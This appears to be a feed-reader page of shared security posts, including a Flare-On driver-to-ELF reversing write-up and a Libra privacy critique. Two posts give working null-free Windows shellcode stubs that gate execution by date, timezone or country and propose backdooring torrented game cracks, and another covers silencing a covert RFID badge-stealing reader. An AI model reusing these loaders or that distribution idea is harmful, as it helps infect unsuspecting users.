Shared posts

02 Oct 19:03

Statically Linking a Windows Kernel Driver as an ELF

by noreply@blogger.com (markus)
For the past two years FireEye has hosted a series of reverse engineering challenges known as the Flare-On Challenge. Last summer I blogged about using differential computational analysis as a means of quickly solving the 6th challenge, arguably the most difficult in the series.

This year it was challenge #10 that I was most intrigued by. I like to approach most challenges with an open mind, and occasionally it turns into something fun and interesting.

Since I haven't blogged in awhile, this felt like a good opportunity to share some of my tips. I personally love reading about techniques and technologies people use when solving challenges, but a lot of the time writeups get too caught up in the challenge specifics and omit the educational part.

The solution is rarely the interesting part. This is not a writeup, I offer no solution.

Challenge Background

For those that don't know, challenge #10 was an obfuscated Windows kernel driver. How cool is that? I don't think I've seen many kernel based reversing challenges, let alone one for Windows.

'it's like the Chrysler building from hell'

With about ~2.5mb of logic dense assembly in this driver, this isn't a challenge I would advise anyone to tackle statically. There's an overwhelming amount of code and obfuscation throughout the driver as sampled both above and below.


What also amazes me is that it's 2015 and kernel debugging is still painful for basically every platform. It's annoying to get setup, the debugging is tedious, and relevant tools are few and far between. That said, you can absolutely use WinDBG and a virtual machine to investigate this challenge.

But have you ever looked at a Windows kernel driver and thought, 'Huh, I think I'll turn that into a userland ELF' ?

No probably not, but here's how I did it.

1. Patching


Only two small NOP's patches are needed to get challenge-xp.sys ready for its new life as an ELF.

NOP the cookie check call @ VA 0x29C16B
NOP the IofCompleteRequest call @ VA 0x29C8F0

You must also truncate the first 276 bytes (this may vary depending on the object header your system generates) from the driver blob for some alignment reasons which I'll touch on later.

Here's a script that does the patching as described above:

#!/usr/bin/python
import shutil

# create and open the file we want to patch
shutil.copy2("challenge-xp.sys", "challenge-xp.patched")
f = open("challenge-xp.patched", "r+")

# any patches we want to apply to the binary
patches = {
0x0028C16B: "\x90"*5,
0x0028C8F0: "\x90"*6,
}

# apply patches
for offset in patches.keys():
f.seek(offset)
f.write(patches[offset])

# trim 276 bytes from the front
f.seek(276)
data = f.read()

# save the file
f.seek(0)
f.truncate()
f.write(data)
f.close()


2. Binary Blob to Object File

Object files are simply ELF's that wrap up blocks of compiled code or data and are used to stitch together your final ELF executable during the linking process. We would like to turn our modified Windows driver into an object file so that we can link it against our own code and simply call into it.

Thankfully there's a nice little linux util called objcopy that is a swiss army knife for manipulating object files.
"objcopy - copy and translate object files" 
                   -Mr. Man Pages

It has a weird name (IMO), but with objcopy can you add, edit, tweak, or remove just about anything in an object file. This includes segments, sections, symbols, flags, offsets, etc.

Converting a binary blob to an object is super easy:
$ objcopy -I binary -O <target format> -B <target arch> <binary blob> <object file>
In our case:
$ objcopy -I binary -O elf32-i386 -B i386 challenge-xp.patched challenge-xp.o

Now you can actually run readelf on our new object file. But there's one or two things we want to fix up still.

We are going to rename the .data section to .chall to try and maintain some sanity. We also want to mark the .chall section as RWX so the driver blob can execute its code as well as read/write to its data section as necessary once we start calling into it.

$ objcopy --rename-section .data=.chall challenge-xp.o
$ objcopy --set-section-flags .chall=code,alloc,data challenge-xp.o

That's it, we're ready to link this thing.

3. Linking & Compiling

Next we need a stub application to utilize our newly created challenge-xp.o. By creating an application that links against this blob, we will then be able to call directly into it. We are specifically interested in making calls to its IOCTL handler function.

/*
compiled with:
gcc -o stub -m32 -Wl,-T,elf_i386.x challenge-xp.o stub.c
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int __attribute__((stdcall)) chall_ioctl(int, unsigned int **);

int main(int argc, char * argv[])
{
unsigned int * irp[25] = {0};
unsigned int req[4] = {0};

if(argc < 2)
{
printf("Usage: %s <IOCTL Code(s)> ...\n", argv[0]);
return 1;
}

/* setup these 'structures' like the ioctl handler expects */
irp[24] = (unsigned int *)&req;
req[0] = 0xE;

/* call the requested ioctls */
int i = 0;
for(i = 1; i < argc; i++)
{
req[3] = strtoul(argv[i], NULL, 16);
chall_ioctl(0, irp);
}

return 0;
}


Because of some weird issues with gcc+ld, I had to use a custom linker script to link our challenge-xp.o properly against the code above.

You can view the linker script we are going to copy from and modify like so:

$ ld -m elf_i386 --verbose

The original linker script was located in /usr/lib/ldscripts/elf_i386.x on my system (Ubuntu 14.04 x64). You can simply copy this to your current working directory.

The default elf_i386.x linker script is pretty big so I am not going to inline it on this blog post. You can find both the original linker script, and the diff of the tweaked one below.

These are the two main lines that I changed and added.

...
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x00010000)); . = SEGMENT_START("text-segment", 0x00010000) + SIZEOF_HEADERS;
.chall : { *(.chall) }
...

I specifically changed the segment start of executable to the imagebase (0x10000) of the original kernel driver. We also want .chall to be prioritized in front of all other segments so that its base ends up being the segment start we defined.

These changes are to ensure the code to be loaded is at the same address as it is on Windows (specifically 0x10490). The alignment trimming we did earlier was to account for the ELF header that objcopy tacked onto the front of this blob.

I also lazily placed a symbol at the bottom of the linker script that defines the address we expect the IOCTL handler function to be at for runtime. You're free to place the name & address of any functions/labels/etc you would like to use in your code right down beside it.

...
chall_ioctl = 0x0029C1A0;
...

At this point we can compile the stub code with the driver blob elf object we made.

$ gcc -o stub -m32 -Wl,-T,elf_i386.x challenge-xp.o stub.c

Great, we made it. We've turned this thing into a *real* ELF executable.



To be honest, I'm confident that you can hack together this driver object in a much cleaner fashion, using objcopy to more properly define its segments and alignment. Functional was enough for this challenge. But I happily welcome any comments that share a working, cleaner conversion (:

4. Usage

It is now significantly easier (and faster) to debug, analyze, and interact with this challenge.

I personally used QIRA to better visualize and explore the program flow through the giant decision tree funcs. It was also very easy to observe the effects the different IOCTL's had on the encrypted buffers.

I was more interested in converting this to an ELF vs an EXE/DLL for the sole purpose of using QIRA. Linux also tends to have less friction when trying to use advanced userland instrumentation frameworks and related tools.

For fun, I have provided stub_dump.c and a simple little script called dump.py. The python script simply wraps stub_dump and feeds it every supported IOCTL individually, dumping the resulting memory region that we were interested in for this challenge (0x029D840 - 0x029D8B8)


For those more familiar with the challenge - I used a few more of these hacked up ELF's with a bit of python to programatically interact with the challenge. I was able to quickly map each IOCTL's influence on the encrypted buffers region, and enumerate every combination of IOCTL's that yielded a unique buffer for each of the 'tree' funcs before being passed into the XTEA decrypt functions.

Unfortunately the real solution to this challenge was a lot less interesting.

I finished 20th.

Conclusion

I used this same methodology over a year ago while researching the Nintendo 3DS firmware. I statically linked decrypted firmware blobs against ELFs on an ARM device to enable easier analysis and debugging.

None of this is all that complex or novel, but it serves as a reminder that taking a challenge at face value may be naïve. Creativity can't be dismissed in favor of pure technical merit.

Follow me on twitter @gaasedelen



Code & Materials: flare10.zip
01 Nov 12:56

Static analysis of an unknown compression format (2012)

by /u/corysama
18 Oct 19:04

A writeup and a talk about how the Linux kernel does function hooking

by /u/devjustinian
17 Sep 20:12

A Blueprint for Stopping DDoS Attacks Forever Using “Tokenized” Fields in TCP or IPv6 Packets.

by /u/sdgreathouse
10 Sep 23:00

Linux.Fe2O3: a Rust virus

by /u/guitmz
10 Sep 20:22

This guy is Bob Ross of game programming

by /u/maceandshield
03 Sep 21:32

Intuitive Advanced Cryptography

by /u/fafdAfV
03 Sep 21:12

Hardware Reversing with the TP-Link TL-WR841N Wireless Router

by /u/RedmondSecGnome
30 Aug 21:39

DEF CON 27 - Our Car Hacking CTF Experience

by /u/teamWTG
29 Aug 18:53

Web App Testing: Episode 3 - XSS, SQL Injection, and Broken Access Control

by /u/DorkNowitzki41
24 Aug 17:05

Break it baby Crackme from Haccon CTF 2019

by /u/X3eRo0
12 Aug 20:38

Paged Out! issue #1 is out! It's a free e-zine about security/hacking/programming/reverse engineering

by /u/h41zum
04 Aug 23:18

MinU 1: Capture-The-Flag (CTF) Walkthrough

by Nikhil Kumar

Introduction In this article, we will solve a Capture the Flag (CTF) challenge that was posted on the VulnHub website by an author using the name 8bitsec. As per the description given by the author, this is an intermediate level CTF and the target of this CTF is to get the flag.txt file. You can […]

The post MinU 1: Capture-The-Flag (CTF) Walkthrough appeared first on Infosec Resources.


MinU 1: Capture-The-Flag (CTF) Walkthrough was first posted on August 1, 2019 at 8:02 am.
©2017 "InfoSec Resources". Use of this feed is for personal non-commercial use only. If you are not reading this article in your feed reader, then the site is guilty of copyright infringement. Please contact me at darren.dalasta@infosecinstitute.com
02 Aug 20:08

We are opening up a hacking hotel in Switzerland

by /u/nicoschottelius

Hey everyone,

I am very proud to be able to write this post today - having been in the hacking scene (*) for around 21 years now, I have always wanted to create a place in which people can learn to hack, make use of creativity.

The cool thing about it: the hotel is in the middle of the pretty mountains of Switzerland, a ltite bit behind the end of the world. But: it has a direct 10 gbit/s fiber line to the next data center.

The hotel itself was built around 1850 and has a great history, pictures of it can be seen everywhere and if you talk to people around, they remember the different restaurants that it used to provide space for.

However, this time in its life, the hotel will not be open for "regular" guests, but for anyone who is interested in hacking together. The youngest of us is 12 years old (or 11, depends on whom you ask) and with this post I'd like to invite anyone from everywhere in the world to join us.

I've put up some pictures on https://hack.digitalglarus.ch/hacking-and-living-in-hotel-diesbach.html to get an impression. Oh, not to forget: we have our own huge IPv6 space and anyone who visits us, can take a /48 of it home.

(*) Hacking in the sense of ... well, I guess I don't really need to explain this in here.

submitted by /u/nicoschottelius to r/hacking
[link] [comments]
02 Aug 20:06

A step-by-step analysis of a CrackMe with x64dbg and Ghidra

by /u/ThisIsLibra
02 Aug 20:06

Walkthrough: Metasploitable 3 Ace of Clubs

by /u/stillLearningNetsec
01 Jul 15:56

Looking for Wireshark challenges

by /u/Beverdam

I want to get better at understanding and using wireshark. Anyone got some suggestions on nice challenges that I can do to improve my skills? Maybe HTB?

submitted by /u/Beverdam to r/AskNetsec
[link] [comments]
01 Jul 14:08

Writing shellcodes for Windows x64

by /u/nytrorst
01 Jul 14:06

Expiring Shellcode update

by averagejoe

Howdy dudey!

I’m back with an update. A quickey mind you, but I’m out here posting real UPDATES for once.

The Metasploit Framework expiration of shellcode commit that was never taken into master had me thinking – how come I never made POC code for Windows?
Why the fuck not right?

Well, let’s fucking do it!

.486
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.code
start:
push    ebp
mov     ebp, esp
xor eax,eax
push 40h     ; PAGE_EXECUTE_READWRITE
mov ax,4095d ; FFF in hex, masm bug?
inc ax ; 
push eax ; MEM_COMMIT 0x00001000
push 10h ; 16 bytes needed
xor eax,eax
push eax ; NULL as we dont care where the allocation is.
call VirtualAlloc; VirtualAlloc
mov eax,ebx      ; VVVVV
push    eax ; ( NULL,dwLength,MEM_COMMIT,PAGE_EXECUTE_READWRITE);     
call GetLocalTime ; GetLocalTime with chunk from VirtualAlloc
xor ecx,ecx
mov     cl, 6h ; MONTH converted to hex (june)
cmp     cx, [ebx+2]
jnz     short exitpart
mov     cx, 7e3h ; YEAR converted to hex (2019)
cmp     cx, [ebx]
jz      short wegood
exitpart:
; FAILED date check, exit gracefully
xor ebx,ebx
push ebx
call ExitProcess 
wegood:
; passed checks, can start shellcode now
nop
fnop
; shellcode start
end start

How does it work?

I have a simple list of what’s happening:

  1. Setup the stack with the required parameters for VirtualAlloc. Store the memory block’s address in EBX as it will be lost in EAX after the call to GetLocalTime.
  2. Push our returned memory block for use with our function which takes a single argument – a pointer to a SYSTEMTIME structure to receive the current local date and time. It’s 16 bytes in size.
  3. Store the value of the selected month in the ‘cl’ register. We use 8 bit registers when the value is tiny to avoid null bytes and save precious space.
  4. We then compare this MONTH value with the address of the memory location we passed to GetLocalTime, plus 2 bytes forward to get to the place of the MONTH in ‘SYSTEMTIME’.
  5. If we’re not in the right month, we exit gracefully, if we’re in the right month, then we continue by moving the value of the current YEAR into the CX register (16 bits).
  6. We compare again the value of the chosen YEAR with the address of the memory location we passed to GetLocalTime as ‘SYSTEMTIME’ starts with the YEAR
  7. If satisfied, we jump to our shellcode start. If not, we exit gracefully.

Hope that was easy enough of an explanation. Coded to avoid null bytes, except for calling functions, but you can piece that shit together yourself. Or just use my earlier blog post as a skeleton template wherein we derive the functions from the Process Environment and Thread Environment Block(s) to search for function names.

More to come soon, I swear.

Stay tuned!

01 Jul 14:04

A Shellcode Idea

by averagejoe

Maybe we’re all a little black hat at times – you have to bend the rules to get things done sometimes.
I thought of a couple kinds of shellcode – basically checking to see if the user is in a particular country or timezone.
The concept of weaponizing shellcode is nothing new. This is just more fuel for the fire.

Since whenever I think of something, code doesn’t exist, it is once again up to Joe to make the code exist.

The following is for x86 Windows. No nulls either!

      .486
      .model flat, stdcall
      option casemap :none
      ASSUME FS:NOTHING
      .code
start:
        
        push ebx
        push ecx
        push edx
        push esi
        push edi
		xor eax,eax

	; Establish a new stack frame
	push ebp
	mov ebp, esp
	mov ax,2224
	
	sub esp, eax 			; Allocate memory on stack for local variables
	xor eax,eax
	push eax 
	; push the function name on the stack
	xor esi, esi
	push esi			; null termination
	push 6e6f6974h
	push 616d726fh
	push 666e4965h
	push 6E6F5a65h
	push 6d695474h
	pushw 6547h; var4 = "GetTimeZoneInformation\x00"
	mov [ebp-4], esp 		
	push ax ; push 2 bytes to stack to maintain 4 byte alignment 
	; Find kernel32.dll base address
	;xor esi, esi			; esi is already 0, no need to xor
    mov ebx, dword ptr fs:[30h + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 12] 
	mov ebx, [ebx + 20] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 16]		; ebx holds kernel32.dll base address
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

	; Find WinExec address
	mov eax, [ebx + 3Ch]		; RVA of PE signature
	add eax, ebx       		; Address of PE signature = base address + RVA of PE signature
	mov eax, [eax + 78h]		; RVA of Export Table
	add eax, ebx 			; Address of Export Table

	mov ecx, [eax + 24h]		; RVA of Ordinal Table
	add ecx, ebx 			; Address of Ordinal Table
	mov [ebp-0Ch], ecx 		; var12 = Address of Ordinal Table

	mov edi, [eax + 20h] 		; RVA of Name Pointer Table
	add edi, ebx 			; Address of Name Pointer Table
	mov [ebp-10h], edi 		; var16 = Address of Name Pointer Table

	mov edx, [eax + 1Ch] 		; RVA of Address Table
	add edx, ebx 			; Address of Address Table
	mov [ebp-14h], edx 		; var20 = Address of Address Table

	mov edx, [eax + 14h] 		; Number of exported functions

	xor eax, eax 			; counter = 0

	myloop:
	        mov edi, [ebp-10h] 	; edi = var16 = Address of Name Pointer Table
	        mov esi, [ebp-4] 	; esi = var4 = "GetTimeZoneInformation\x00"
	        xor ecx, ecx

	        cld  			; set DF=0 => process strings from left to right
	        mov edi, [edi + eax*4]	; Entries in Name Pointer Table are 4 bytes long
	        			; edi = RVA Nth entry = Address of Name Table * 4
	        add edi, ebx       	; edi = address of string = base address + RVA Nth entry
	        add cx, 23 		; Length of strings to compare (len('GetTimeZoneInformation') = 23)
	        repe cmpsb        	; Compare the first 8 bytes of strings in 
	        			; esi and edi registers. ZF=1 if equal, ZF=0 if not
	        jz found

	        inc eax 		; counter++
	        cmp eax, edx    	; check if last function is reached
	        jb myloop 		; if not the last -> loop

	        mov ax,2224
			add esp, eax		; clear the stack      		
	        ret 		; if function is not found, return

	found:
		; the counter (eax) now holds the position of WinExec

	        mov ecx, [ebp-0Ch]	; ecx = var12 = Address of Ordinal Table
	        mov edx, [ebp-14h]  	; edx = var20 = Address of Address Table

	        mov ax, [ecx + eax*2] 	; ax = ordinal number = var12 + (counter * 2)
	        mov eax, [edx + eax*4] 	; eax = RVA of function = var20 + (ordinal * 4)
	        add eax, ebx 		; eax = address of func = 
	        			; = kernel32.dll base address + RVA of func

	        xor edx, edx
		lea esi,dword ptr ss:[ebp-172] ;0xAC or 172 decimal is the size of the timezone structure 
		push esi
		call eax 		; GetTimeZoneInformation 
		lea esi,dword ptr ss:[ebp-168]; A8 is the tz.StandardName
	
	
mov byte ptr ss:[ebp-40],43h
mov byte ptr ss:[ebp-38],68h
mov byte ptr ss:[ebp-36],69h
mov byte ptr ss:[ebp-34],6Eh
mov byte ptr ss:[ebp-32],61h
mov byte ptr ss:[ebp-30],20h
mov byte ptr ss:[ebp-28],53h
mov byte ptr ss:[ebp-26],74h
mov byte ptr ss:[ebp-24],61h
mov byte ptr ss:[ebp-22],6Eh
mov byte ptr ss:[ebp-20],64h
mov byte ptr ss:[ebp-18],61h
mov byte ptr ss:[ebp-16],72h
mov byte ptr ss:[ebp-14],64h
mov byte ptr ss:[ebp-12],20h
mov byte ptr ss:[ebp-10],54h
mov byte ptr ss:[ebp-8],69h
mov byte ptr ss:[ebp-6],6Dh
mov byte ptr ss:[ebp-4],65h
xor eax,eax                       
mov dword ptr ss:[ebp-2],eax
;no nulls now!
	;lea eax,[ebp-40] ; 28h is the stored string we made
	;invoke MessageBoxW,0,eax,eax,0

lea ecx,dword ptr ss:[ebp-168]
lea ebx,dword ptr ss:[ebp-40]
wehaveawinner:
mov ax,word ptr ss:[ecx]
cmp ax,word ptr ss:[ebx]
jne nomatch
add ecx,2
add ebx,2
test ax,ax
jne wehaveawinner
push ebx
ret 
nomatch:
		mov ax,2224
		add esp, eax		; clear the stack
		pop ebp 		; restore all registers and exit
		pop edi
		pop esi
		pop edx
		pop ecx
		pop ebx
		pop eax
		pop esp
		ret

end start

Fits snugly in there.

If you were really evil, you could backdoor torrent files with this code so it only runs in certain countries. Say you backdoor the program to only work outside of the US of A, then distribute it on torrent sites as a crack for some game, piggybacking on some other crack? Everyone in the States has no problem. Everywhere else? Shell city!

I talked about just that here.

This next one checks the GeoID. Again, no shellcode exists on MSF, so we roll our own.

      .486
      .model flat, stdcall
      option casemap :none
      ASSUME FS:NOTHING
      .code
start:
        push eax ; Save all registers
        push ebx
        push ecx
        push edx
        push esi
        push edi
        push ebp

	; Establish a new stack frame
	push ebp
	mov ebp, esp

	sub esp, 79h 			; Allocate memory on stack for local variables

	; push the function name on the stack
	xor esi, esi
	push esi			; null termination
	pushw 4449h
	pushw 6f65h
	push 47726573h
	push 55746547h
	mov [ebp-4], esp 		; swapped to GetUserGeoID

	; Find kernel32.dll base address
	xor esi, esi			; esi = 0
    mov ebx, dword ptr fs:[30h + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 12] 
	mov ebx, [ebx + 20] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 16]		; ebx holds kernel32.dll base address
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

	; Find WinExec address
	mov eax, [ebx + 3Ch]		; RVA of PE signature
	add eax, ebx       		; Address of PE signature = base address + RVA of PE signature
	mov eax, [eax + 78h]		; RVA of Export Table
	add eax, ebx 			; Address of Export Table

	mov ecx, [eax + 24h]		; RVA of Ordinal Table
	add ecx, ebx 			; Address of Ordinal Table
	mov [ebp-0Ch], ecx 		; var12 = Address of Ordinal Table

	mov edi, [eax + 20h] 		; RVA of Name Pointer Table
	add edi, ebx 			; Address of Name Pointer Table
	mov [ebp-10h], edi 		; var16 = Address of Name Pointer Table

	mov edx, [eax + 1Ch] 		; RVA of Address Table
	add edx, ebx 			; Address of Address Table
	mov [ebp-14h], edx 		; var20 = Address of Address Table

	mov edx, [eax + 14h] 		; Number of exported functions

	xor eax, eax 			; counter = 0

	myloop:
	        mov edi, [ebp-10h] 	; edi = var16 = Address of Name Pointer Table
	        mov esi, [ebp-4] 	; esi = var4 = "GetUserGeoID\x00"
	        xor ecx, ecx

	        cld  			; set DF=0 => process strings from left to right
	        mov edi, [edi + eax*4]	; Entries in Name Pointer Table are 4 bytes long
	        			; edi = RVA Nth entry = Address of Name Table * 4
	        add edi, ebx       	; edi = address of string = base address + RVA Nth entry
	        add cx, 13 		; Length of strings to compare (len('GetUserGeoID') = 23)
	        repe cmpsb        	; Compare the first 8 bytes of strings in 
	        			; esi and edi registers. ZF=1 if equal, ZF=0 if not
	        jz found

	        inc eax 		; counter++
	        cmp eax, edx    	; check if last function is reached
	        jb myloop 		; if not the last -> loop

	        add esp, 26h      		
	        jmp myend 		; if function is not found, jump to end

	found:
		; the counter (eax) now holds the position of WinExec

	        mov ecx, [ebp-0Ch]	; ecx = var12 = Address of Ordinal Table
	        mov edx, [ebp-14h]  	; edx = var20 = Address of Address Table

	        mov ax, [ecx + eax*2] 	; ax = ordinal number = var12 + (counter * 2)
	        mov eax, [edx + eax*4] 	; eax = RVA of function = var20 + (ordinal * 4)
	        add eax, ebx 	; eax = address of GetUserGeoID = 
	        		; = kernel32.dll base address + RVA of GetUserGeoID

	        xor edx, edx
		
		push 10h  		; only needs 1 param
		call eax 		; GetUserGeoID
		cmp al,244		; america, fuck yeah!
		je notfound
		db 235			; EB FE
		db 254
		notfound:
		
		add esp, 79h;46h		; clear the stack

	myend:
		
		pop ebp 		; restore all registers and exit
		pop edi
		pop esi
		pop edx
		pop ecx
		pop ebx
		pop eax
		pop esp
		ret

end start

As you can see, if I can figure it out, anyone can.

This was a quick and easy writeup. I have more crap to cover still – stuff like rolling my own shellcode encryption, running your own (evil) DNS server, playing with race conditions on windows and perhaps weaponizing / making use of the aforementioned shellcode for more hilarious (or evil?) purposes. More to come soon.

Stay tuned!

01 Jul 13:58

NSA's Ghidra will release a debugger this summer – according to their talk at RECON yesterday

by /u/Megabeets
28 Jun 21:32

Complete Linux for Ethical Hackers Course

by /u/DorkNowitzki41
28 Jun 21:27

Recent “leak” of IDA pro 7.2 — a brief timeline - the singularity is near - Medium

by /u/29988122
28 Jun 14:47

Tastic RFID Thief: Silent, But Deadly

by Fran Brown

You’re a professional. You’re equipped with the latest in elite, customized RFID hacking tools. So, it’s high time you put a silencer on your Tastic RFID Thief – the weaponized, long-range badge reader. We’ll show you how to avoid the embarrassingly loud beep when turning on your RFID badge stealer during your next physical penetration test. Because after all, silence is golden.

Silencer for Your Weaponized RFID Reader

So, you’ve built yourself a customized Tastic RFID Thief. Nice work. Fortunately, all the hard work is now done. It’s time for the finishing touches.

Tastic RFID Thief from Bishop Fox

Tastic RFID Thief from Bishop Fox

The Tastic RFID Thief is a long-range RFID reader that can steal the proximity badge information from an unsuspecting employee as they physically walk near this concealed device. Specifically, it is targeting 125KHz, low frequency RFID badge systems used for physical security, such as those used in HID Prox and Indala Prox products.  It can even be used to weaponize a high frequency (13.56MHz) RFID reader, such as the iClass R90 Long Range reader.

There are 2 ways we can silence the HID MaxiProx 5375 commercial badge reader that we used to create the Tastic RFID Thief.

Method 1 – Mostly Silent – Flipping the Beeper’s DIP Switch

The first method involves simply flipping a single DIP switch, which will render the device silent, except for when it is first turned on. All subsequent badge reads that normally would have caused a loud BEEP, are now silent.

Tastic RFID Thief - Location of DIP Switches

Tastic RFID Thief – Location of DIP Switches

You can find the DIP switch by removing the cover of the Tastic RFID Thief and looking toward the top-right corner. To make the reader mostly silent, flip the SW1-4 switch to the down position.

DIP switch SW1-4 – Flip to down position for silent

DIP switch SW1-4 – Flip to down position for silent

DIP switch SW1-4 – Close Up Photo

DIP switch SW1-4 – Close Up Photo

With this method, you can turn on your Tastic RFID thief in the parking lot (getting the single loud beep out of the way,) and then enter your target facility.

Method 2 – Deadly Silent – Removing the Beeper by Desoldering

If you are a true professional, you’ll want your RFID hacking equipment completely silent. Fortunately, this is pretty easy to achieve. The actual beeper is a small, circular piece in the top-right corner (to the right of the DIP switches).

Tastic RFID Thief - Location of small, circular physical beeper

Tastic RFID Thief – Location of small, circular physical beeper

By temporarily removing the screw indicated in the image above, you can gently pull the green circuit board out just enough to get behind it and desolder the 2 small solder points holding the beeper onto the device. Alternatively, you can just take a pair of pliers to the small circular beeper and break it off of the board – which isn’t as elegant, but will also work just fine.

Beeper Removed to Make Completely Silent

Beeper Removed to Make Completely Silent

Videos – Tastic RFID Thief

These short tutorial videos below show the Tastic RFID Thief in action, and give you a closer look at its insides.

In Conclusion

With a couple minor tweaks, you can make your Tastic RFID Thief completely silent. Finally, you’ll have the definitive long-range, silent RFID hacking tool for your physical pentest arsenal.

The post Tastic RFID Thief: Silent, But Deadly appeared first on Bishop Fox.

27 Jun 14:06

Introducing CIRCL: An Advanced Cryptographic Library

by /u/eleitl
27 Jun 13:52

BSides Cleveland 2019 Videos

27 Jun 13:44

Code obfuscation technique: shifted pointer

Code obfuscation technique: shifted pointer
26 Jun 22:34

Thoughts on the Libra blockchain: too centralised, not private, and won’t help the unbanked

by Alexander Hicks

Facebook recently announced a new project, Libra, whose mission is to be “a simple global currency and financial infrastructure that empowers billions of people”. The announcement has predictably been met with scepticism by organisations like Privacy International, regulators in the U.S. and Europe, and the media at large. This is wholly justified given the look of the project’s website, which features claims of poverty reduction, job creation, and more generally empowering billions of people, wrapped in a dubious marketing package.

To start off, there is the (at least for now) permissioned aspect of the system. One appealing aspect of cryptocurrencies is their potential for decentralisation and censorship resistance. It wasn’t uncommon to see the story of PayPal freezing Wikileak’s account in the first few slides of a cryptocurrency talk motivating its purpose. Now, PayPal and other well-known providers of payment services are the ones operating nodes in Libra.

There is some valid criticism to be made about the permissioned aspect of a system that describes itself as a public good when other cryptocurrencies are permissionless. These are essentially centralised, however, with inefficient energy wasting mechanisms like Proof-of-Work requiring large investments for any party wishing to contribute.

There is a roadmap towards decentralisation, but it is vague. Achieving decentralisation, whether at the network or governance level, hasn’t been done even in a priori decentralised cryptocurrencies. In this sense, Libra hasn’t really done worse so far. It already involves more members than there are important Bitcoin or Ethereum miners, for example, and they are also more diverse. However, this is more of a fault in existing cryptocurrencies rather than a quality of Libra.

But is it, in fact, desirable to have Libra move towards decentralisation? As Libra is aiming to be an alternative to classical payments systems, which process many more transactions than cryptocurrencies, this may not be the case. Practical issues like dispute resolution and KYC compliance, which are ignored in the technical paper, do not benefit from decentralisation and in general, it isn’t really clear what the benefits would be in this specific context. On the other hand, a decentralised Libra may be harder to regulate effectively. This could help parties with more power in the system to be less accountable, especially if the system is decentralised in name only, like existing cryptocurrencies. This is without considering the inherent problems of maintaining a decentralised stablecoin backed by multiple centralised currencies.

Conspicuous lack of privacy

The above, however, are questions for the future. The more important discussion point is related to the privacy that Libra might offer. David Marcus (co-creator of Libra, lead at Calibra) has tweeted on the topic of privacy, but a search for the word privacy in the technical paper shows that this is completely ignored. The technical paper says very little about how the system avoids revealing all of the details of a transaction (in terms of who is sending money, who is receiving money, how much is being sent, etc.) to all of the validators or observers of the blockchain. The main part of the paper that refers to this, at the transaction layer at least, reads as follows:

The Libra protocol does not link accounts to a real-world identity. A user is free to create multiple accounts by generating multiple key-pairs. Accounts controlled by the same user have no inherent link to each other. This scheme follows the example of Bitcoin and Ethereum in that it provides pseudonymity [19] for users.

Sarah Meiklejohn’s research has, for the past six years, focused largely on demonstrating that Bitcoin achieves little to no privacy for the vast majority of its users, and many other researchers have shown this as well. Beyond research, there are now several companies (e.g., Chainalysis, Elliptic) devoted solely to following flows of bitcoins, ether (with Ethereum achieving strictly less privacy than Bitcoin) and other popular cryptocurrencies as they move between different users, in and out of exchanges, and so on.

This is problematic for several reasons. Most notably, it means that Libra will not provide any meaningful notion of privacy, and the validators and observers of its blockchain will have almost complete visibility into how and where users choose to spend their money. This is unlikely to change, given that David Marcus has made clear the choice to not enable shielded transactions.

Already, several lawmakers have expressed concerns related to data protection. Maxine Waters, who chairs the House Financial Services Committee in the U.S., made the point that “Facebook has data on billions of people and has repeatedly shown a disregard for the protection and careful use of this data. […] With the announcement that it plans to create a cryptocurrency, Facebook is continuing its unchecked expansion and extending its reach into the lives of its users.”

Despite what Mark Zuckerberg says at keynotes, the past indicates that users should not have any expectation of privacy, which stands alongside other criticism of Facebook that has marked the company’s history. Libra involves more than just Facebook, but it isn’t why anything different should be expected when the financial data that Libra would make available is certainly valuable. Trusting privacy guarantees that are not founded on strict properties, e.g., using cryptographic tools or differential privacy, is hardly reasonable at this point.

Calibra, Facebook’s wallet app for Libra that will be integrated into Facebook Messenger and WhatsApp, apparently won’t share information with Facebook and other third parties without consent. This is what Facebook (and other platforms) are supposed to do in the first place, but in reality, consent is either obtained through the use of lengthy terms of service that we all know no one reads, or it is simply ignored. More generally, there is little information about custodial wallets and payment channels, despite the fact that it is anticipated that most transactions will take place off-chain.

Will it really help the unbanked?

Finally, it’s also interesting that Libra has as target unbanked users that previously would not have been able to perform online payments. This also means that advertisers would not have paid much for ads that target these users, or likewise might not have been able to pay for ads in the first place. While there are benefits to enabling online payments for those that cannot use them at present, it is questionable whether this should happen at the cost of financial privacy and giving more power to private companies that have no history of treating their product as a public good. Instead, this might just serve as a way of opening up new avenues to profit from users at their expense.

It also isn’t clear why Libra believes it will address the needs of unbanked users. The main reason for not having a bank account, as per the document referenced by Libra, is lack of money. How Libra will help in these cases is unclear.

 

Disclaimer: despite some of the people working on Libra having been, or currently being, affiliated with the UCL Information Security Group, the group itself has no affiliation.

26 Jun 22:28

In Transactional Memory, No One Can Hear You Scream

by /u/N3mes1s
20 Jun 15:05

Frida TypeScript bindings are now feature-complete

by /u/oleavr